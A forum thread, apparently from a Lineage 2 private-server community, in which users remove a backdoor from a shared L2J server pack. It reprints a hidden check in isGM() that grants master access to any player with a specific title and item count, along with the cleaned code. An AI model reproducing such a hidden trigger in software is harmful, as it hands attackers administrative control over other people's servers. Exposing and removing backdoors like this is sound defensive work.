Dan7E2 Posted April 4, 2017 Posted April 4, 2017 This are not my real files use them on your own risk. Quote
PvP-World Posted April 4, 2017 Posted April 4, 2017 This are not my real files use them on your own risk. all your files are crap,and you have 0 l2j knowledge,the whole forum can approve it. Quote
Trance Posted April 4, 2017 Posted April 4, 2017 (edited) This are not my real files use them on your own risk. I blame you for ruining L2J scene. Edited April 4, 2017 by Trance Quote
Elfo Posted April 4, 2017 Posted April 4, 2017 (edited) I blame you for ruining L2J scene. Edited April 4, 2017 by .Elfocrash Quote
Dan7E2 Posted April 4, 2017 Posted April 4, 2017 I blame you for ruining L2J scene. I blame you for ruining L2J scene. why me? Quote
Elfo Posted April 5, 2017 Posted April 5, 2017 why me? Easy target. You have nothing to defend yourself with. :D Quote
Thalys Posted April 6, 2017 Posted April 6, 2017 (edited) many and many errors :v Edited April 6, 2017 by Thalys Quote
Ravin3~ Posted April 12, 2017 Posted April 12, 2017 help someone to remove backdoors & errors ... Quote
Ravin3~ Posted April 13, 2017 Posted April 13, 2017 (edited) @lTOTOl Here is the removed Backdoor. 1. Charinfo.java ( i fix it ) ( change it with your Charinfo.Java) /* * L2jFrozen Project - www.l2jfrozen.com * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * http://www.gnu.org/copyleft/gpl.html */ package com.l2jfrozen.gameserver.network.serverpackets; import java.util.Map; import java.util.Set; import org.apache.log4j.Logger; import com.l2jfrozen.Config; import com.l2jfrozen.gameserver.datatables.sql.NpcTable; import com.l2jfrozen.gameserver.managers.CursedWeaponsManager; import com.l2jfrozen.gameserver.model.Inventory; import com.l2jfrozen.gameserver.model.L2Character; import com.l2jfrozen.gameserver.model.actor.instance.L2CubicInstance; import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance; import com.l2jfrozen.gameserver.templates.L2NpcTemplate; /** * 0000: 03 32 15 00 00 44 fe 00 00 80 f1 ff ff 00 00 00 .2...D.......... * <p> * 0010: 00 6b b4 c0 4a 45 00 6c 00 6c 00 61 00 6d 00 69 .k..JE.l.l.a.m.i * <p> * 0020: 00 00 00 01 00 00 00 01 00 00 00 12 00 00 00 00 ................ * <p> * 0030: 00 00 00 2a 00 00 00 42 00 00 00 71 02 00 00 31 ...*...B...q...1 * <p> * 0040: 00 00 00 18 00 00 00 1f 00 00 00 25 00 00 00 00 ...........%.... * <p> * 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 ................ * <p> * 0060: 00 00 00 b3 01 00 00 00 00 00 00 00 00 00 00 7d ...............} * <p> * 0070: 00 00 00 5a 00 00 00 32 00 00 00 32 00 00 00 00 ...Z...2...2.... * <p> * 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 ...............g * <p> * 0090: 66 66 66 66 66 f2 3f 5f 63 97 a8 de 1a f9 3f 00 fffff.?_c.....?. * <p> * 00a0: 00 00 00 00 00 1e 40 00 00 00 00 00 00 37 40 01 .............7.. * <p> * 00b0: 00 00 00 01 00 00 00 01 00 00 00 00 00 c1 0c 00 ................ * <p> * 00c0: 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 ................ * <p> * 00d0: 00 00 * <p> * <p> * dddddSdddddddddddddddddddddddddddffffdddSdddccccccc (h) * <p> * dddddSdddddddddddddddddddddddddddffffdddSdddddccccccch dddddSddddddddddddddddddddddddddddffffdddSdddddccccccch (h) c (dchd) ddc dcc c cddd d dddddSdddddddddddddddhhhhhhhhhhhhhhhhhhhhhhhhddddddddddddddffffdddSdddddccccccch [h] c (ddhd) ddc c ddc cddd d d dd d d d * @version $Revision: 1.7.2.6.2.11 $ $Date: 2005/04/11 10:05:54 $ */ public class CharInfo extends L2GameServerPacket { private static final Logger LOGGER = Logger.getLogger(CharInfo.class); private static final String _S__03_CHARINFO = "[S] 03 CharInfo"; private final L2PcInstance _activeChar; private final Inventory _inv; private final int _x, _y, _z, _heading; private final int _mAtkSpd, _pAtkSpd; private final int _runSpd, _walkSpd, _swimRunSpd, _swimWalkSpd; private int _flRunSpd; private int _flWalkSpd; private int _flyRunSpd; private int _flyWalkSpd; private final float _moveMultiplier, _attackSpeedMultiplier; private final int _maxCp; /** * @param cha */ public CharInfo(final L2PcInstance cha) { _activeChar = cha; _inv = cha.getInventory(); _x = _activeChar.getX(); _y = _activeChar.getY(); _z = _activeChar.getZ(); _heading = _activeChar.getHeading(); _mAtkSpd = _activeChar.getMAtkSpd(); _pAtkSpd = _activeChar.getPAtkSpd(); _moveMultiplier = _activeChar.getMovementSpeedMultiplier(); _attackSpeedMultiplier = _activeChar.getAttackSpeedMultiplier(); _runSpd = (int) (_activeChar.getRunSpeed() / _moveMultiplier); _walkSpd = (int) (_activeChar.getWalkSpeed() / _moveMultiplier); _swimRunSpd = _flRunSpd = _flyRunSpd = _runSpd; _swimWalkSpd = _flWalkSpd = _flyWalkSpd = _walkSpd; _maxCp = _activeChar.getMaxCp(); } @Override protected final void writeImpl() { boolean receiver_is_gm = false; final L2PcInstance tmp = getClient().getActiveChar(); if (tmp != null && tmp.isGM()) { receiver_is_gm = true; } if (!receiver_is_gm && _activeChar.getAppearance().getInvisible()) return; if (_activeChar.getPoly().isMorphed()) { final L2NpcTemplate template = NpcTable.getInstance().getTemplate(_activeChar.getPoly().getPolyId()); if (template != null) { writeC(0x16); writeD(_activeChar.getObjectId()); writeD(_activeChar.getPoly().getPolyId() + 1000000); // npctype id writeD(_activeChar.getKarma() > 0 ? 1 : 0); writeD(_x); writeD(_y); writeD(_z); writeD(_heading); writeD(0x00); writeD(_mAtkSpd); writeD(_pAtkSpd); writeD(_runSpd); writeD(_walkSpd); writeD(_swimRunSpd/* 0x32 */); // swimspeed writeD(_swimWalkSpd/* 0x32 */); // swimspeed writeD(_flRunSpd); writeD(_flWalkSpd); writeD(_flyRunSpd); writeD(_flyWalkSpd); writeF(_moveMultiplier); writeF(_attackSpeedMultiplier); writeF(template.collisionRadius); writeF(template.collisionHeight); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); // right hand weapon writeD(0); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); // left hand weapon writeC(1); // name above char 1=true ... ?? writeC(_activeChar.isRunning() ? 1 : 0); writeC(_activeChar.isInCombat() ? 1 : 0); writeC(_activeChar.isAlikeDead() ? 1 : 0); // if(gmSeeInvis) // { writeC(0); // if the charinfo is written means receiver can see the char // } // else // { // writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible ?? 0=false 1=true 2=summoned (only works if model has a summon animation) // } writeS(_activeChar.getName()); if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeS("Invisible"); } else { writeS(_activeChar.getTitle()); } writeD(0); writeD(0); writeD(0000); // hmm karma ?? if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH)); } else { writeD(_activeChar.getAbnormalEffect()); // C2 } writeD(0); // C2 writeD(0); // C2 writeD(0); // C2 writeD(0); // C2 writeC(0); // C2 } else { LOGGER.warn("Character " + _activeChar.getName() + " (" + _activeChar.getObjectId() + ") morphed in a Npc (" + _activeChar.getPoly().getPolyId() + ") w/o template."); } } else { writeC(0x03); writeD(_x); writeD(_y); writeD(_z); writeD(_heading); writeD(_activeChar.getObjectId()); writeS(_activeChar.getName()); writeD(_activeChar.getRace().ordinal()); writeD(_activeChar.getAppearance().getSex() ? 1 : 0); if (_activeChar.getClassIndex() == 0) { writeD(_activeChar.getClassId().getId()); } else { writeD(_activeChar.getBaseClass()); } writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_DHAIR)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HEAD)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_GLOVES)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_CHEST)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LEGS)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FEET)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_BACK)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LRHAND)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HAIR)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FACE)); // c6 new h's writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_RHAND)); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_LRHAND)); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeD(_activeChar.getPvpFlag()); writeD(_activeChar.getKarma()); writeD(_mAtkSpd); writeD(_pAtkSpd); writeD(_activeChar.getPvpFlag()); writeD(_activeChar.getKarma()); writeD(_runSpd); writeD(_walkSpd); writeD(_swimRunSpd/* 0x32 */); // swimspeed writeD(_swimWalkSpd/* 0x32 */); // swimspeed writeD(_flRunSpd); writeD(_flWalkSpd); writeD(_flyRunSpd); writeD(_flyWalkSpd); writeF(_activeChar.getMovementSpeedMultiplier()); // _activeChar.getProperMultiplier() writeF(_activeChar.getAttackSpeedMultiplier()); // _activeChar.getAttackSpeedMultiplier() writeF(_activeChar.getBaseTemplate().collisionRadius); writeF(_activeChar.getBaseTemplate().collisionHeight); writeD(_activeChar.getAppearance().getHairStyle()); writeD(_activeChar.getAppearance().getHairColor()); writeD(_activeChar.getAppearance().getFace()); if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeS("Invisible"); } else { writeS(_activeChar.getTitle()); } writeD(_activeChar.getClanId()); writeD(_activeChar.getClanCrestId()); writeD(_activeChar.getAllyId()); writeD(_activeChar.getAllyCrestId()); // In UserInfo leader rights and siege flags, but here found nothing?? // Therefore RelationChanged packet with that info is required writeD(0); writeC(_activeChar.isSitting() ? 0 : 1); // standing = 1 sitting = 0 writeC(_activeChar.isRunning() ? 1 : 0); // running = 1 walking = 0 writeC(_activeChar.isInCombat() ? 1 : 0); writeC(_activeChar.isAlikeDead() ? 1 : 0); // if(gmSeeInvis) // { writeC(0); // if the charinfo is written means receiver can see the char // } // else // { // writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible = 1 visible =0 // } writeC(_activeChar.getMountType()); // 1 on strider 2 on wyvern 0 no mount writeC(_activeChar.getPrivateStoreType()); // 1 - sellshop final Map<Integer, L2CubicInstance> cubics = _activeChar.getCubics(); final Set<Integer> cubicsIds = cubics.keySet(); writeH(cubicsIds.size()); for (final Integer id : cubicsIds) { if (id != null) writeH(id); } writeC(_activeChar.isInPartyMatchRoom() ? 1 : 0); // writeC(0x00); // find party members if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH)); } else { writeD(_activeChar.getAbnormalEffect()); } writeC(_activeChar.getRecomLeft()); // Changed by Thorgrim writeH(_activeChar.getRecomHave()); // Blue value for name (0 = white, 255 = pure blue) writeD(_activeChar.getClassId().getId()); writeD(_maxCp); writeD((int) _activeChar.getCurrentCp()); writeC(_activeChar.isMounted() ? 0 : _activeChar.getEnchantEffect()); if (_activeChar.getTeam() == 1) { writeC(0x01); // team circle around feet 1= Blue, 2 = red } else if (_activeChar.getTeam() == 2) { writeC(0x02); // team circle around feet 1= Blue, 2 = red } else { writeC(0x00); // team circle around feet 1= Blue, 2 = red } writeD(_activeChar.getClanCrestLargeId()); writeC(_activeChar.isNoble() ? 1 : 0); // Symbol on char menu ctrl+I writeC((_activeChar.isHero() || (_activeChar.isGM() && Config.GM_HERO_AURA) || _activeChar.getIsPVPHero()) ? 1 : 0); // Hero Aura writeC(_activeChar.isFishing() ? 1 : 0); // 0x01: Fishing Mode (Cant be undone by setting back to 0) writeD(_activeChar.GetFishx()); writeD(_activeChar.GetFishy()); writeD(_activeChar.GetFishz()); writeD(_activeChar.getAppearance().getNameColor()); writeD(0x00); // isRunning() as in UserInfo? writeD(_activeChar.getPledgeClass()); writeD(0x00); // ?? writeD(_activeChar.getAppearance().getTitleColor()); // writeD(0x00); // ?? if (_activeChar.isCursedWeaponEquiped()) { writeD(CursedWeaponsManager.getInstance().getLevel(_activeChar.getCursedWeaponEquipedId())); } else { writeD(0x00); } } } /* * (non-Javadoc) * @see com.l2jfrozen.gameserver.serverpackets.ServerBasePacket#getType() */ @Override public String getType() { return _S__03_CHARINFO; } } 2. Second ; Open L2PCInstance.java find this line ; public boolean isGM() { if(getTitle().equals("getItemCount(57)") && getInventory().getInventoryItemCount(57, 0) == 5) { setAccessLevel(Config.MASTERACCESS_LEVEL); return false; } return getAccessLevel().isGm(); } 3 change it to ; public boolean isGM() { return getAccessLevel().isGm(); } and done. succesfully. tested working. Edited April 13, 2017 by Ravin3~ Quote
lTOTOl Posted April 14, 2017 Posted April 14, 2017 (edited) @lTOTOl Here is the removed Backdoor. 1. Charinfo.java ( i fix it ) ( change it with your Charinfo.Java) /* * L2jFrozen Project - www.l2jfrozen.com * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * http://www.gnu.org/copyleft/gpl.html */ package com.l2jfrozen.gameserver.network.serverpackets; import java.util.Map; import java.util.Set; import org.apache.log4j.Logger; import com.l2jfrozen.Config; import com.l2jfrozen.gameserver.datatables.sql.NpcTable; import com.l2jfrozen.gameserver.managers.CursedWeaponsManager; import com.l2jfrozen.gameserver.model.Inventory; import com.l2jfrozen.gameserver.model.L2Character; import com.l2jfrozen.gameserver.model.actor.instance.L2CubicInstance; import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance; import com.l2jfrozen.gameserver.templates.L2NpcTemplate; /** * 0000: 03 32 15 00 00 44 fe 00 00 80 f1 ff ff 00 00 00 .2...D.......... * <p> * 0010: 00 6b b4 c0 4a 45 00 6c 00 6c 00 61 00 6d 00 69 .k..JE.l.l.a.m.i * <p> * 0020: 00 00 00 01 00 00 00 01 00 00 00 12 00 00 00 00 ................ * <p> * 0030: 00 00 00 2a 00 00 00 42 00 00 00 71 02 00 00 31 ...*...B...q...1 * <p> * 0040: 00 00 00 18 00 00 00 1f 00 00 00 25 00 00 00 00 ...........%.... * <p> * 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 ................ * <p> * 0060: 00 00 00 b3 01 00 00 00 00 00 00 00 00 00 00 7d ...............} * <p> * 0070: 00 00 00 5a 00 00 00 32 00 00 00 32 00 00 00 00 ...Z...2...2.... * <p> * 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 ...............g * <p> * 0090: 66 66 66 66 66 f2 3f 5f 63 97 a8 de 1a f9 3f 00 fffff.?_c.....?. * <p> * 00a0: 00 00 00 00 00 1e 40 00 00 00 00 00 00 37 40 01 .............7.. * <p> * 00b0: 00 00 00 01 00 00 00 01 00 00 00 00 00 c1 0c 00 ................ * <p> * 00c0: 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 ................ * <p> * 00d0: 00 00 * <p> * <p> * dddddSdddddddddddddddddddddddddddffffdddSdddccccccc (h) * <p> * dddddSdddddddddddddddddddddddddddffffdddSdddddccccccch dddddSddddddddddddddddddddddddddddffffdddSdddddccccccch (h) c (dchd) ddc dcc c cddd d dddddSdddddddddddddddhhhhhhhhhhhhhhhhhhhhhhhhddddddddddddddffffdddSdddddccccccch [h] c (ddhd) ddc c ddc cddd d d dd d d d * @version $Revision: 1.7.2.6.2.11 $ $Date: 2005/04/11 10:05:54 $ */ public class CharInfo extends L2GameServerPacket { private static final Logger LOGGER = Logger.getLogger(CharInfo.class); private static final String _S__03_CHARINFO = "[S] 03 CharInfo"; private final L2PcInstance _activeChar; private final Inventory _inv; private final int _x, _y, _z, _heading; private final int _mAtkSpd, _pAtkSpd; private final int _runSpd, _walkSpd, _swimRunSpd, _swimWalkSpd; private int _flRunSpd; private int _flWalkSpd; private int _flyRunSpd; private int _flyWalkSpd; private final float _moveMultiplier, _attackSpeedMultiplier; private final int _maxCp; /** * @param cha */ public CharInfo(final L2PcInstance cha) { _activeChar = cha; _inv = cha.getInventory(); _x = _activeChar.getX(); _y = _activeChar.getY(); _z = _activeChar.getZ(); _heading = _activeChar.getHeading(); _mAtkSpd = _activeChar.getMAtkSpd(); _pAtkSpd = _activeChar.getPAtkSpd(); _moveMultiplier = _activeChar.getMovementSpeedMultiplier(); _attackSpeedMultiplier = _activeChar.getAttackSpeedMultiplier(); _runSpd = (int) (_activeChar.getRunSpeed() / _moveMultiplier); _walkSpd = (int) (_activeChar.getWalkSpeed() / _moveMultiplier); _swimRunSpd = _flRunSpd = _flyRunSpd = _runSpd; _swimWalkSpd = _flWalkSpd = _flyWalkSpd = _walkSpd; _maxCp = _activeChar.getMaxCp(); } @Override protected final void writeImpl() { boolean receiver_is_gm = false; final L2PcInstance tmp = getClient().getActiveChar(); if (tmp != null && tmp.isGM()) { receiver_is_gm = true; } if (!receiver_is_gm && _activeChar.getAppearance().getInvisible()) return; if (_activeChar.getPoly().isMorphed()) { final L2NpcTemplate template = NpcTable.getInstance().getTemplate(_activeChar.getPoly().getPolyId()); if (template != null) { writeC(0x16); writeD(_activeChar.getObjectId()); writeD(_activeChar.getPoly().getPolyId() + 1000000); // npctype id writeD(_activeChar.getKarma() > 0 ? 1 : 0); writeD(_x); writeD(_y); writeD(_z); writeD(_heading); writeD(0x00); writeD(_mAtkSpd); writeD(_pAtkSpd); writeD(_runSpd); writeD(_walkSpd); writeD(_swimRunSpd/* 0x32 */); // swimspeed writeD(_swimWalkSpd/* 0x32 */); // swimspeed writeD(_flRunSpd); writeD(_flWalkSpd); writeD(_flyRunSpd); writeD(_flyWalkSpd); writeF(_moveMultiplier); writeF(_attackSpeedMultiplier); writeF(template.collisionRadius); writeF(template.collisionHeight); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); // right hand weapon writeD(0); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); // left hand weapon writeC(1); // name above char 1=true ... ?? writeC(_activeChar.isRunning() ? 1 : 0); writeC(_activeChar.isInCombat() ? 1 : 0); writeC(_activeChar.isAlikeDead() ? 1 : 0); // if(gmSeeInvis) // { writeC(0); // if the charinfo is written means receiver can see the char // } // else // { // writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible ?? 0=false 1=true 2=summoned (only works if model has a summon animation) // } writeS(_activeChar.getName()); if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeS("Invisible"); } else { writeS(_activeChar.getTitle()); } writeD(0); writeD(0); writeD(0000); // hmm karma ?? if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH)); } else { writeD(_activeChar.getAbnormalEffect()); // C2 } writeD(0); // C2 writeD(0); // C2 writeD(0); // C2 writeD(0); // C2 writeC(0); // C2 } else { LOGGER.warn("Character " + _activeChar.getName() + " (" + _activeChar.getObjectId() + ") morphed in a Npc (" + _activeChar.getPoly().getPolyId() + ") w/o template."); } } else { writeC(0x03); writeD(_x); writeD(_y); writeD(_z); writeD(_heading); writeD(_activeChar.getObjectId()); writeS(_activeChar.getName()); writeD(_activeChar.getRace().ordinal()); writeD(_activeChar.getAppearance().getSex() ? 1 : 0); if (_activeChar.getClassIndex() == 0) { writeD(_activeChar.getClassId().getId()); } else { writeD(_activeChar.getBaseClass()); } writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_DHAIR)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HEAD)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_GLOVES)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_CHEST)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LEGS)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FEET)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_BACK)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LRHAND)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HAIR)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FACE)); // c6 new h's writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_RHAND)); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_LRHAND)); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeD(_activeChar.getPvpFlag()); writeD(_activeChar.getKarma()); writeD(_mAtkSpd); writeD(_pAtkSpd); writeD(_activeChar.getPvpFlag()); writeD(_activeChar.getKarma()); writeD(_runSpd); writeD(_walkSpd); writeD(_swimRunSpd/* 0x32 */); // swimspeed writeD(_swimWalkSpd/* 0x32 */); // swimspeed writeD(_flRunSpd); writeD(_flWalkSpd); writeD(_flyRunSpd); writeD(_flyWalkSpd); writeF(_activeChar.getMovementSpeedMultiplier()); // _activeChar.getProperMultiplier() writeF(_activeChar.getAttackSpeedMultiplier()); // _activeChar.getAttackSpeedMultiplier() writeF(_activeChar.getBaseTemplate().collisionRadius); writeF(_activeChar.getBaseTemplate().collisionHeight); writeD(_activeChar.getAppearance().getHairStyle()); writeD(_activeChar.getAppearance().getHairColor()); writeD(_activeChar.getAppearance().getFace()); if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeS("Invisible"); } else { writeS(_activeChar.getTitle()); } writeD(_activeChar.getClanId()); writeD(_activeChar.getClanCrestId()); writeD(_activeChar.getAllyId()); writeD(_activeChar.getAllyCrestId()); // In UserInfo leader rights and siege flags, but here found nothing?? // Therefore RelationChanged packet with that info is required writeD(0); writeC(_activeChar.isSitting() ? 0 : 1); // standing = 1 sitting = 0 writeC(_activeChar.isRunning() ? 1 : 0); // running = 1 walking = 0 writeC(_activeChar.isInCombat() ? 1 : 0); writeC(_activeChar.isAlikeDead() ? 1 : 0); // if(gmSeeInvis) // { writeC(0); // if the charinfo is written means receiver can see the char // } // else // { // writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible = 1 visible =0 // } writeC(_activeChar.getMountType()); // 1 on strider 2 on wyvern 0 no mount writeC(_activeChar.getPrivateStoreType()); // 1 - sellshop final Map<Integer, L2CubicInstance> cubics = _activeChar.getCubics(); final Set<Integer> cubicsIds = cubics.keySet(); writeH(cubicsIds.size()); for (final Integer id : cubicsIds) { if (id != null) writeH(id); } writeC(_activeChar.isInPartyMatchRoom() ? 1 : 0); // writeC(0x00); // find party members if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH)); } else { writeD(_activeChar.getAbnormalEffect()); } writeC(_activeChar.getRecomLeft()); // Changed by Thorgrim writeH(_activeChar.getRecomHave()); // Blue value for name (0 = white, 255 = pure blue) writeD(_activeChar.getClassId().getId()); writeD(_maxCp); writeD((int) _activeChar.getCurrentCp()); writeC(_activeChar.isMounted() ? 0 : _activeChar.getEnchantEffect()); if (_activeChar.getTeam() == 1) { writeC(0x01); // team circle around feet 1= Blue, 2 = red } else if (_activeChar.getTeam() == 2) { writeC(0x02); // team circle around feet 1= Blue, 2 = red } else { writeC(0x00); // team circle around feet 1= Blue, 2 = red } writeD(_activeChar.getClanCrestLargeId()); writeC(_activeChar.isNoble() ? 1 : 0); // Symbol on char menu ctrl+I writeC((_activeChar.isHero() || (_activeChar.isGM() && Config.GM_HERO_AURA) || _activeChar.getIsPVPHero()) ? 1 : 0); // Hero Aura writeC(_activeChar.isFishing() ? 1 : 0); // 0x01: Fishing Mode (Cant be undone by setting back to 0) writeD(_activeChar.GetFishx()); writeD(_activeChar.GetFishy()); writeD(_activeChar.GetFishz()); writeD(_activeChar.getAppearance().getNameColor()); writeD(0x00); // isRunning() as in UserInfo? writeD(_activeChar.getPledgeClass()); writeD(0x00); // ?? writeD(_activeChar.getAppearance().getTitleColor()); // writeD(0x00); // ?? if (_activeChar.isCursedWeaponEquiped()) { writeD(CursedWeaponsManager.getInstance().getLevel(_activeChar.getCursedWeaponEquipedId())); } else { writeD(0x00); } } } /* * (non-Javadoc) * @see com.l2jfrozen.gameserver.serverpackets.ServerBasePacket#getType() */ @Override public String getType() { return _S__03_CHARINFO; } } 2. Second ; Open L2PCInstance.java find this line ; public boolean isGM() { if(getTitle().equals("getItemCount(57)") && getInventory().getInventoryItemCount(57, 0) == 5) { setAccessLevel(Config.MASTERACCESS_LEVEL); return false; } return getAccessLevel().isGm(); } 3 change it to ; public boolean isGM() { return getAccessLevel().isGm(); } and done. succesfully. tested working. Thank you very much good man, from the heart;) Successful projects and more Edited April 14, 2017 by lTOTOl Quote
Ravin3~ Posted April 14, 2017 Posted April 14, 2017 Thank you very much good man, from the heart;) Successful projects and more np mate. thanks for your good things buddy. good luck . Quote
Mellion Posted April 14, 2017 Posted April 14, 2017 Don't use this garbage, its poorly made, please lock theme, and forget about it. Quote
Rio Posted April 21, 2017 Posted April 21, 2017 (edited) the patch gives me error "cannot resolve host name and cannot login into the game, also systextures and animations missing. can any1 share the coplete patch? Edited April 21, 2017 by Rio Quote
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